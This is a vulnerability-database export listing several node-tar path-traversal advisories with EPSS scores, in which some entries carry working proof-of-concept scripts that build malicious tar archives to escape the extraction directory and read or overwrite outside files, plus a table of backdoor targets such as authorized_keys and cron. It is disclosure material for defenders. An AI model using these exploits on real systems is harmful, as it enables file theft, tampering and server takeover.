| vulnerability_id |
VCID-jj22-rfbv-bkg3 |
| summary |
Arbitrary File Read/Write via Hardlink Target Escape Through Symlink Chain in node-tar Extraction
### Summary
`tar.extract()` in Node `tar` allows an attacker-controlled archive to create a hardlink inside the extraction directory that points to a file outside the extraction root, using default options.
This enables **arbitrary file read and write** as the extracting user (no root, no chmod, no `preservePaths`).
Severity is high because the primitive bypasses path protections and turns archive extraction into a direct filesystem access primitive.
### Details
The bypass chain uses two symlinks plus one hardlink:
1. `a/b/c/up -> ../..`
2. `a/b/escape -> c/up/../..`
3. `exfil` (hardlink) -> `a/b/escape/<target-relative-to-parent-of-extract>`
Why this works:
- Linkpath checks are string-based and do not resolve symlinks on disk for hardlink target safety.
- See `STRIPABSOLUTEPATH` logic in:
- `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:255`
- `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:268`
- `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:281`
- Hardlink extraction resolves target as `path.resolve(cwd, entry.linkpath)` and then calls `fs.link(target, destination)`.
- `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:566`
- `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:567`
- `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:703`
- Parent directory safety checks (`mkdir` + symlink detection) are applied to the destination path of the extracted entry, not to the resolved hardlink target path.
- `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:617`
- `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:619`
- `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/mkdir.js:27`
- `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/mkdir.js:101`
As a result, `exfil` is created inside extraction root but linked to an external file. The PoC confirms shared inode and successful read+write via `exfil`.
### PoC
[hardlink.js](https://github.com/user-attachments/files/25240082/hardlink.js)
Environment used for validation:
- Node: `v25.4.0`
- tar: `7.5.7`
- OS: macOS Darwin 25.2.0
- Extract options: defaults (`tar.extract({ file, cwd })`)
Steps:
1. Prepare/locate a `tar` module. If `require('tar')` is not available locally, set `TAR_MODULE` to an absolute path to a tar package directory.
2. Run:
```bash
TAR_MODULE="$(cd '../tar-audit-setuid - CVE/node_modules/tar' && pwd)" node hardlink.js
```
3. Expected vulnerable output (key lines):
```text
same_inode=true
read_ok=true
write_ok=true
result=VULNERABLE
```
Interpretation:
- `same_inode=true`: extracted `exfil` and external secret are the same file object.
- `read_ok=true`: reading `exfil` leaks external content.
- `write_ok=true`: writing `exfil` modifies external file.
### Impact
Vulnerability type:
- Arbitrary file read/write via archive extraction path confusion and link resolution.
Who is impacted:
- Any application/service that extracts attacker-controlled tar archives with Node `tar` defaults.
- Impact scope is the privileges of the extracting process user.
Potential outcomes:
- Read sensitive files reachable by the process user.
- Overwrite writable files outside extraction root.
- Escalate impact depending on deployment context (keys, configs, scripts, app data). |
| references |
| 0 |
|
| 1 |
| reference_url |
https://api.first.org/data/v1/epss?cve=CVE-2026-26960 |
| reference_id |
|
| reference_type |
|
| scores |
| 0 |
| value |
5e-05 |
| scoring_system |
epss |
| scoring_elements |
0.00263 |
| published_at |
2026-04-02T12:55:00Z |
|
| 1 |
| value |
7e-05 |
| scoring_system |
epss |
| scoring_elements |
0.00512 |
| published_at |
2026-04-13T12:55:00Z |
|
| 2 |
| value |
7e-05 |
| scoring_system |
epss |
| scoring_elements |
0.00513 |
| published_at |
2026-04-08T12:55:00Z |
|
| 3 |
| value |
7e-05 |
| scoring_system |
epss |
| scoring_elements |
0.00517 |
| published_at |
2026-04-07T12:55:00Z |
|
| 4 |
| value |
7e-05 |
| scoring_system |
epss |
| scoring_elements |
0.00518 |
| published_at |
2026-04-04T12:55:00Z |
|
| 5 |
| value |
7e-05 |
| scoring_system |
epss |
| scoring_elements |
0.00509 |
| published_at |
2026-04-16T12:55:00Z |
|
|
| url |
https://api.first.org/data/v1/epss?cve=CVE-2026-26960 |
|
| 2 |
|
| 3 |
|
| 4 |
|
| 5 |
|
| 6 |
|
| 7 |
|
| 8 |
|
| 9 |
|
| 10 |
|
| 11 |
|
| 12 |
|
| 13 |
|
| 14 |
|
|
| fixed_packages |
|
| aliases |
CVE-2026-26960, GHSA-83g3-92jg-28cx
|
| risk_score |
4.0 |
| exploitability |
0.5 |
| weighted_severity |
8.0 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-jj22-rfbv-bkg3 |
|
| 6 |
| url |
VCID-m4hj-dq8q-67f6 |
| vulnerability_id |
VCID-m4hj-dq8q-67f6 |
| summary |
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
The npm package "tar" (aka node-tar) has an arbitrary file creation/overwrite and arbitrary code execution vulnerability. node-tar aims to guarantee that any file whose location would be outside of the extraction target directory is not extracted. |
| references |
| 0 |
|
| 1 |
| reference_url |
https://api.first.org/data/v1/epss?cve=CVE-2021-37713 |
| reference_id |
|
| reference_type |
|
| scores |
| 0 |
| value |
0.00316 |
| scoring_system |
epss |
| scoring_elements |
0.54563 |
| published_at |
2026-04-01T12:55:00Z |
|
| 1 |
| value |
0.00316 |
| scoring_system |
epss |
| scoring_elements |
0.54671 |
| published_at |
2026-04-12T12:55:00Z |
|
| 2 |
| value |
0.00316 |
| scoring_system |
epss |
| scoring_elements |
0.54687 |
| published_at |
2026-04-16T12:55:00Z |
|
| 3 |
| value |
0.00316 |
| scoring_system |
epss |
| scoring_elements |
0.54674 |
| published_at |
2026-04-09T12:55:00Z |
|
| 4 |
| value |
0.00316 |
| scoring_system |
epss |
| scoring_elements |
0.54678 |
| published_at |
2026-04-08T12:55:00Z |
|
| 5 |
| value |
0.00316 |
| scoring_system |
epss |
| scoring_elements |
0.54626 |
| published_at |
2026-04-07T12:55:00Z |
|
| 6 |
| value |
0.00316 |
| scoring_system |
epss |
| scoring_elements |
0.54656 |
| published_at |
2026-04-04T12:55:00Z |
|
| 7 |
| value |
0.00316 |
| scoring_system |
epss |
| scoring_elements |
0.54633 |
| published_at |
2026-04-02T12:55:00Z |
|
| 8 |
| value |
0.00316 |
| scoring_system |
epss |
| scoring_elements |
0.54649 |
| published_at |
2026-04-13T12:55:00Z |
|
|
| url |
https://api.first.org/data/v1/epss?cve=CVE-2021-37713 |
|
| 2 |
|
| 3 |
|
| 4 |
|
| 5 |
|
| 6 |
|
| 7 |
|
| 8 |
|
| 9 |
|
| 10 |
|
| 11 |
|
| 12 |
|
| 13 |
|
|
| fixed_packages |
|
| aliases |
CVE-2021-37713, GHSA-5955-9wpr-37jh
|
| risk_score |
4.0 |
| exploitability |
0.5 |
| weighted_severity |
8.0 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-m4hj-dq8q-67f6 |
|
| 7 |
| url |
VCID-qunt-xms1-a3cc |
| vulnerability_id |
VCID-qunt-xms1-a3cc |
| summary |
node-tar Symlink Path Traversal via Drive-Relative Linkpath
### Summary
`tar` (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as `C:../../../target.txt`, which enables file overwrite outside `cwd` during normal `tar.x()` extraction.
### Details
The extraction logic in `Unpack[STRIPABSOLUTEPATH]` validates `..` segments against a resolved path that still uses the original drive-relative value, and only afterwards rewrites the stored `linkpath` to the stripped value.
What happens with `linkpath: "C:../../../target.txt"`:
1. `stripAbsolutePath()` removes `C:` and rewrites the value to `../../../target.txt`.
2. The escape check resolves using the original pre-stripped value, so it is treated as in-bounds and accepted.
3. Symlink creation uses the rewritten value (`../../../target.txt`) from nested path `a/b/l`.
4. Writing through the extracted symlink overwrites the outside file (`../target.txt`).
This is reachable in standard usage (`tar.x({ cwd, file })`) when extracting attacker-controlled tar archives.
### PoC
Tested on Arch Linux with `tar@7.5.10`.
PoC script (`poc.cjs`):
```js
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')
const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(cwd, 'poc.tar')
fs.writeFileSync(target, 'ORIGINAL\n')
const b = Buffer.alloc(1536)
new Header({
path: 'a/b/l',
type: 'SymbolicLink',
linkpath: 'C:../../../target.txt',
}).encode(b, 0)
fs.writeFileSync(tarFile, b)
x({ cwd, file: tarFile }).then(() => {
fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n')
process.stdout.write(fs.readFileSync(target, 'utf8'))
})
```
Run:
```bash
node poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt
```
Observed output:
```text
PWNED
../../../target.txt
lrwxrwxrwx - joshuavr 7 Mar 18:37 a/b/l -> ../../../target.txt
.rw-r--r-- 6 joshuavr 7 Mar 18:37 ../target.txt
```
`PWNED` confirms outside file content overwrite. `readlink` and `ls -l` confirm the extracted symlink points outside the extraction directory.
### Impact
This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.
Realistic scenarios:
- CLI tools unpacking untrusted tarballs into a working directory
- build/update pipelines consuming third-party archives
- services that import user-supplied tar files |
| references |
| 0 |
|
| 1 |
| reference_url |
https://api.first.org/data/v1/epss?cve=CVE-2026-31802 |
| reference_id |
|
| reference_type |
|
| scores |
| 0 |
| value |
7e-05 |
| scoring_system |
epss |
| scoring_elements |
0.00467 |
| published_at |
2026-04-09T12:55:00Z |
|
| 1 |
| value |
7e-05 |
| scoring_system |
epss |
| scoring_elements |
0.0047 |
| published_at |
2026-04-08T12:55:00Z |
|
| 2 |
| value |
7e-05 |
| scoring_system |
epss |
| scoring_elements |
0.00472 |
| published_at |
2026-04-07T12:55:00Z |
|
| 3 |
| value |
7e-05 |
| scoring_system |
epss |
| scoring_elements |
0.00477 |
| published_at |
2026-04-04T12:55:00Z |
|
| 4 |
| value |
7e-05 |
| scoring_system |
epss |
| scoring_elements |
0.00481 |
| published_at |
2026-04-02T12:55:00Z |
|
| 5 |
| value |
8e-05 |
| scoring_system |
epss |
| scoring_elements |
0.00658 |
| published_at |
2026-04-16T12:55:00Z |
|
| 6 |
| value |
8e-05 |
| scoring_system |
epss |
| scoring_elements |
0.00671 |
| published_at |
2026-04-11T12:55:00Z |
|
| 7 |
| value |
8e-05 |
| scoring_system |
epss |
| scoring_elements |
0.00664 |
| published_at |
2026-04-12T12:55:00Z |
|
| 8 |
| value |
8e-05 |
| scoring_system |
epss |
| scoring_elements |
0.00665 |
| published_at |
2026-04-13T12:55:00Z |
|
|
| url |
https://api.first.org/data/v1/epss?cve=CVE-2026-31802 |
|
| 2 |
|
| 3 |
|
| 4 |
|
| 5 |
|
| 6 |
|
| 7 |
|
| 8 |
|
|
| fixed_packages |
|
| aliases |
CVE-2026-31802, GHSA-9ppj-qmqm-q256
|
| risk_score |
4.0 |
| exploitability |
0.5 |
| weighted_severity |
8.0 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-qunt-xms1-a3cc |
|
| 8 |
| url |
VCID-xqpk-t1d2-yqak |
| vulnerability_id |
VCID-xqpk-t1d2-yqak |
| summary |
node-tar Vulnerable to Arbitrary File Creation/Overwrite via Hardlink Path Traversal
### Summary
node-tar contains a vulnerability where the security check for hardlink entries uses different path resolution semantics than the actual hardlink creation logic. This mismatch allows an attacker to craft a malicious TAR archive that bypasses path traversal protections and creates hardlinks to arbitrary files outside the extraction directory.
### Details
The vulnerability exists in `lib/unpack.js`. When extracting a hardlink, two functions handle the linkpath differently:
**Security check in `[STRIPABSOLUTEPATH]`:**
```javascript
const entryDir = path.posix.dirname(entry.path);
const resolved = path.posix.normalize(path.posix.join(entryDir, linkpath));
if (resolved.startsWith('../')) { /* block */ }
```
**Hardlink creation in `[HARDLINK]`:**
```javascript
const linkpath = path.resolve(this.cwd, entry.linkpath);
fs.linkSync(linkpath, dest);
```
**Example:** An application extracts a TAR using `tar.extract({ cwd: '/var/app/uploads/' })`. The TAR contains entry `a/b/c/d/x` as a hardlink to `../../../../etc/passwd`.
- **Security check** resolves the linkpath relative to the entry's parent directory: `a/b/c/d/ + ../../../../etc/passwd` = `etc/passwd`. No `../` prefix, so it **passes**.
- **Hardlink creation** resolves the linkpath relative to the extraction directory (`this.cwd`): `/var/app/uploads/ + ../../../../etc/passwd` = `/etc/passwd`. This **escapes** to the system's `/etc/passwd`.
The security check and hardlink creation use different starting points (entry directory `a/b/c/d/` vs extraction directory `/var/app/uploads/`), so the same linkpath can pass validation but still escape. The deeper the entry path, the more levels an attacker can escape.
### PoC
#### Setup
Create a new directory with these files:
```
poc/
├── package.json
├── secret.txt ← sensitive file (target)
├── server.js ← vulnerable server
├── create-malicious-tar.js
├── verify.js
└── uploads/ ← created automatically by server.js
└── (extracted files go here)
```
**package.json**
```json
{ "dependencies": { "tar": "^7.5.0" } }
```
**secret.txt** (sensitive file outside uploads/)
```
DATABASE_PASSWORD=supersecret123
```
**server.js** (vulnerable file upload server)
```javascript
const http = require('http');
const fs = require('fs');
const path = require('path');
const tar = require('tar');
const PORT = 3000;
const UPLOAD_DIR = path.join(__dirname, 'uploads');
fs.mkdirSync(UPLOAD_DIR, { recursive: true });
http.createServer((req, res) => {
if (req.method === 'POST' && req.url === '/upload') {
const chunks = [];
req.on('data', c => chunks.push(c));
req.on('end', async () => {
fs.writeFileSync(path.join(UPLOAD_DIR, 'upload.tar'), Buffer.concat(chunks));
await tar.extract({ file: path.join(UPLOAD_DIR, 'upload.tar'), cwd: UPLOAD_DIR });
res.end('Extracted\n');
});
} else if (req.method === 'GET' && req.url === '/read') {
// Simulates app serving extracted files (e.g., file download, static assets)
const targetPath = path.join(UPLOAD_DIR, 'd', 'x');
if (fs.existsSync(targetPath)) {
res.end(fs.readFileSync(targetPath));
} else {
res.end('File not found\n');
}
} else if (req.method === 'POST' && req.url === '/write') {
// Simulates app writing to extracted file (e.g., config update, log append)
const chunks = [];
req.on('data', c => chunks.push(c));
req.on('end', () => {
const targetPath = path.join(UPLOAD_DIR, 'd', 'x');
if (fs.existsSync(targetPath)) {
fs.writeFileSync(targetPath, Buffer.concat(chunks));
res.end('Written\n');
} else {
res.end('File not found\n');
}
});
} else {
res.end('POST /upload, GET /read, or POST /write\n');
}
}).listen(PORT, () => console.log(`http://localhost:${PORT}`));
```
**create-malicious-tar.js** (attacker creates exploit TAR)
```javascript
const fs = require('fs');
function tarHeader(name, type, linkpath = '', size = 0) {
const b = Buffer.alloc(512, 0);
b.write(name, 0); b.write('0000644', 100); b.write('0000000', 108);
b.write('0000000', 116); b.write(size.toString(8).padStart(11, '0'), 124);
b.write(Math.floor(Date.now()/1000).toString(8).padStart(11, '0'), 136);
b.write(' ', 148);
b[156] = type === 'dir' ? 53 : type === 'link' ? 49 : 48;
if (linkpath) b.write(linkpath, 157);
b.write('ustar\x00', 257); b.write('00', 263);
let sum = 0; for (let i = 0; i < 512; i++) sum += b[i];
b.write(sum.toString(8).padStart(6, '0') + '\x00 ', 148);
return b;
}
// Hardlink escapes to parent directory's secret.txt
fs.writeFileSync('malicious.tar', Buffer.concat([
tarHeader('d/', 'dir'),
tarHeader('d/x', 'link', '../secret.txt'),
Buffer.alloc(1024)
]));
console.log('Created malicious.tar');
```
#### Run
```bash
# Setup
npm install
echo "DATABASE_PASSWORD=supersecret123" > secret.txt
# Terminal 1: Start server
node server.js
# Terminal 2: Execute attack
node create-malicious-tar.js
curl -X POST --data-binary @malicious.tar http://localhost:3000/upload
# READ ATTACK: Steal secret.txt content via the hardlink
curl http://localhost:3000/read
# Returns: DATABASE_PASSWORD=supersecret123
# WRITE ATTACK: Overwrite secret.txt through the hardlink
curl -X POST -d "PWNED" http://localhost:3000/write
# Confirm secret.txt was modified
cat secret.txt
```
### Impact
An attacker can craft a malicious TAR archive that, when extracted by an application using node-tar, creates hardlinks that escape the extraction directory. This enables:
**Immediate (Read Attack):** If the application serves extracted files, attacker can read any file readable by the process.
**Conditional (Write Attack):** If the application later writes to the hardlink path, it modifies the target file outside the extraction directory.
### Remote Code Execution / Server Takeover
| Attack Vector | Target File | Result |
|--------------|-------------|--------|
| SSH Access | `~/.ssh/authorized_keys` | Direct shell access to server |
| Cron Backdoor | `/etc/cron.d/*`, `~/.crontab` | Persistent code execution |
| Shell RC Files | `~/.bashrc`, `~/.profile` | Code execution on user login |
| Web App Backdoor | Application `.js`, `.php`, `.py` files | Immediate RCE via web requests |
| Systemd Services | `/etc/systemd/system/*.service` | Code execution on service restart |
| User Creation | `/etc/passwd` (if running as root) | Add new privileged user |
## Data Exfiltration & Corruption
1. **Overwrite arbitrary files** via hardlink escape + subsequent write operations
2. **Read sensitive files** by creating hardlinks that point outside extraction directory
3. **Corrupt databases** and application state
4. **Steal credentials** from config files, `.env`, secrets |
| references |
| 0 |
|
| 1 |
| reference_url |
https://api.first.org/data/v1/epss?cve=CVE-2026-24842 |
| reference_id |
|
| reference_type |
|
| scores |
| 0 |
| value |
0.00018 |
| scoring_system |
epss |
| scoring_elements |
0.04653 |
| published_at |
2026-04-02T12:55:00Z |
|
| 1 |
| value |
0.00018 |
| scoring_system |
epss |
| scoring_elements |
0.04676 |
| published_at |
2026-04-04T12:55:00Z |
|
| 2 |
| value |
0.00021 |
| scoring_system |
epss |
| scoring_elements |
0.0567 |
| published_at |
2026-04-12T12:55:00Z |
|
| 3 |
| value |
0.00021 |
| scoring_system |
epss |
| scoring_elements |
0.05678 |
| published_at |
2026-04-11T12:55:00Z |
|
| 4 |
| value |
0.00021 |
| scoring_system |
epss |
| scoring_elements |
0.05699 |
| published_at |
2026-04-09T12:55:00Z |
|
| 5 |
| value |
0.00021 |
| scoring_system |
epss |
| scoring_elements |
0.05672 |
| published_at |
2026-04-08T12:55:00Z |
|
| 6 |
| value |
0.00021 |
| scoring_system |
epss |
| scoring_elements |
0.05635 |
| published_at |
2026-04-07T12:55:00Z |
|
| 7 |
| value |
0.00021 |
| scoring_system |
epss |
| scoring_elements |
0.0562 |
| published_at |
2026-04-16T12:55:00Z |
|
| 8 |
| value |
0.00021 |
| scoring_system |
epss |
| scoring_elements |
0.05664 |
| published_at |
2026-04-13T12:55:00Z |
|
|
| url |
https://api.first.org/data/v1/epss?cve=CVE-2026-24842 |
|
| 2 |
|
| 3 |
|
| 4 |
|
| 5 |
|
| 6 |
|
| 7 |
|
| 8 |
|
| 9 |
|
| 10 |
|
| 11 |
|
| 12 |
|
|
| fixed_packages |
|
| aliases |
CVE-2026-24842, GHSA-34x7-hfp2-rc4v
|
| risk_score |
4.0 |
| exploitability |
0.5 |
| weighted_severity |
8.0 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-xqpk-t1d2-yqak |
|
| 9 |
| url |
VCID-yy79-dbn9-7bd5 |
| vulnerability_id |
VCID-yy79-dbn9-7bd5 |
| summary |
node-tar is Vulnerable to Arbitrary File Overwrite and Symlink Poisoning via Insufficient Path Sanitization
### Summary
The `node-tar` library (`<= 7.5.2`) fails to sanitize the `linkpath` of `Link` (hardlink) and `SymbolicLink` entries when `preservePaths` is false (the default secure behavior). This allows malicious archives to bypass the extraction root restriction, leading to **Arbitrary File Overwrite** via hardlinks and **Symlink Poisoning** via absolute symlink targets.
### Details
The vulnerability exists in `src/unpack.ts` within the `[HARDLINK]` and `[SYMLINK]` methods.
**1. Hardlink Escape (Arbitrary File Overwrite)**
The extraction logic uses `path.resolve(this.cwd, entry.linkpath)` to determine the hardlink target. Standard Node.js behavior dictates that if the second argument (`entry.linkpath`) is an **absolute path**, `path.resolve` ignores the first argument (`this.cwd`) entirely and returns the absolute path.
The library fails to validate that this resolved target remains within the extraction root. A malicious archive can create a hardlink to a sensitive file on the host (e.g., `/etc/passwd`) and subsequently write to it, if file permissions allow writing to the target file, bypassing path-based security measures that may be in place.
**2. Symlink Poisoning**
The extraction logic passes the user-supplied `entry.linkpath` directly to `fs.symlink` without validation. This allows the creation of symbolic links pointing to sensitive absolute system paths or traversing paths (`../../`), even when secure extraction defaults are used.
### PoC
The following script generates a binary TAR archive containing malicious headers (a hardlink to a local file and a symlink to `/etc/passwd`). It then extracts the archive using standard `node-tar` settings and demonstrates the vulnerability by verifying that the local "secret" file was successfully overwritten.
```javascript
const fs = require('fs')
const path = require('path')
const tar = require('tar')
const out = path.resolve('out_repro')
const secret = path.resolve('secret.txt')
const tarFile = path.resolve('exploit.tar')
const targetSym = '/etc/passwd'
// Cleanup & Setup
try { fs.rmSync(out, {recursive:true, force:true}); fs.unlinkSync(secret) } catch {}
fs.mkdirSync(out)
fs.writeFileSync(secret, 'ORIGINAL_DATA')
// 1. Craft malicious Link header (Hardlink to absolute local file)
const h1 = new tar.Header({
path: 'exploit_hard',
type: 'Link',
size: 0,
linkpath: secret
})
h1.encode()
// 2. Craft malicious Symlink header (Symlink to /etc/passwd)
const h2 = new tar.Header({
path: 'exploit_sym',
type: 'SymbolicLink',
size: 0,
linkpath: targetSym
})
h2.encode()
// Write binary tar
fs.writeFileSync(tarFile, Buffer.concat([ h1.block, h2.block, Buffer.alloc(1024) ]))
console.log('[*] Extracting malicious tarball...')
// 3. Extract with default secure settings
tar.x({
cwd: out,
file: tarFile,
preservePaths: false
}).then(() => {
console.log('[*] Verifying payload...')
// Test Hardlink Overwrite
try {
fs.writeFileSync(path.join(out, 'exploit_hard'), 'OVERWRITTEN')
if (fs.readFileSync(secret, 'utf8') === 'OVERWRITTEN') {
console.log('[+] VULN CONFIRMED: Hardlink overwrite successful')
} else {
console.log('[-] Hardlink failed')
}
} catch (e) {}
// Test Symlink Poisoning
try {
if (fs.readlinkSync(path.join(out, 'exploit_sym')) === targetSym) {
console.log('[+] VULN CONFIRMED: Symlink points to absolute path')
} else {
console.log('[-] Symlink failed')
}
} catch (e) {}
})
```
### Impact
* **Arbitrary File Overwrite:** An attacker can overwrite any file the extraction process has access to, bypassing path-based security restrictions. It does not grant write access to files that the extraction process does not otherwise have access to, such as root-owned configuration files.
* **Remote Code Execution (RCE):** In CI/CD environments or automated pipelines, overwriting configuration files, scripts, or binaries leads to code execution. (However, npm is unaffected, as it filters out all `Link` and `SymbolicLink` tar entries from extracted packages.) |
| references |
| 0 |
|
| 1 |
| reference_url |
https://api.first.org/data/v1/epss?cve=CVE-2026-23745 |
| reference_id |
|
| reference_type |
|
| scores |
| 0 |
| value |
7e-05 |
| scoring_system |
epss |
| scoring_elements |
0.00506 |
| published_at |
2026-04-16T12:55:00Z |
|
| 1 |
| value |
7e-05 |
| scoring_system |
epss |
| scoring_elements |
0.00507 |
| published_at |
2026-04-12T12:55:00Z |
|
| 2 |
| value |
7e-05 |
| scoring_system |
epss |
| scoring_elements |
0.0051 |
| published_at |
2026-04-13T12:55:00Z |
|
| 3 |
| value |
7e-05 |
| scoring_system |
epss |
| scoring_elements |
0.00523 |
| published_at |
2026-04-02T12:55:00Z |
|
| 4 |
| value |
7e-05 |
| scoring_system |
epss |
| scoring_elements |
0.00511 |
| published_at |
2026-04-08T12:55:00Z |
|
| 5 |
| value |
7e-05 |
| scoring_system |
epss |
| scoring_elements |
0.00514 |
| published_at |
2026-04-07T12:55:00Z |
|
| 6 |
| value |
7e-05 |
| scoring_system |
epss |
| scoring_elements |
0.00516 |
| published_at |
2026-04-04T12:55:00Z |
|
| 7 |
| value |
7e-05 |
| scoring_system |
epss |
| scoring_elements |
0.00509 |
| published_at |
2026-04-09T12:55:00Z |
|
|
| url |
https://api.first.org/data/v1/epss?cve=CVE-2026-23745 |
|
| 2 |
|
| 3 |
|
| 4 |
|
| 5 |
|
| 6 |
|
| 7 |
|
| 8 |
|
| 9 |
|
| 10 |
|
| 11 |
|
| 12 |
|
| 13 |
|
| 14 |
|
|
| fixed_packages |
|
| aliases |
CVE-2026-23745, GHSA-8qq5-rm4j-mr97
|
| risk_score |
4.0 |
| exploitability |
0.5 |
| weighted_severity |
8.0 |
| resource_url |
http://public2.vulnerablecode.io/vulnerabilities/VCID-yy79-dbn9-7bd5 |
|
|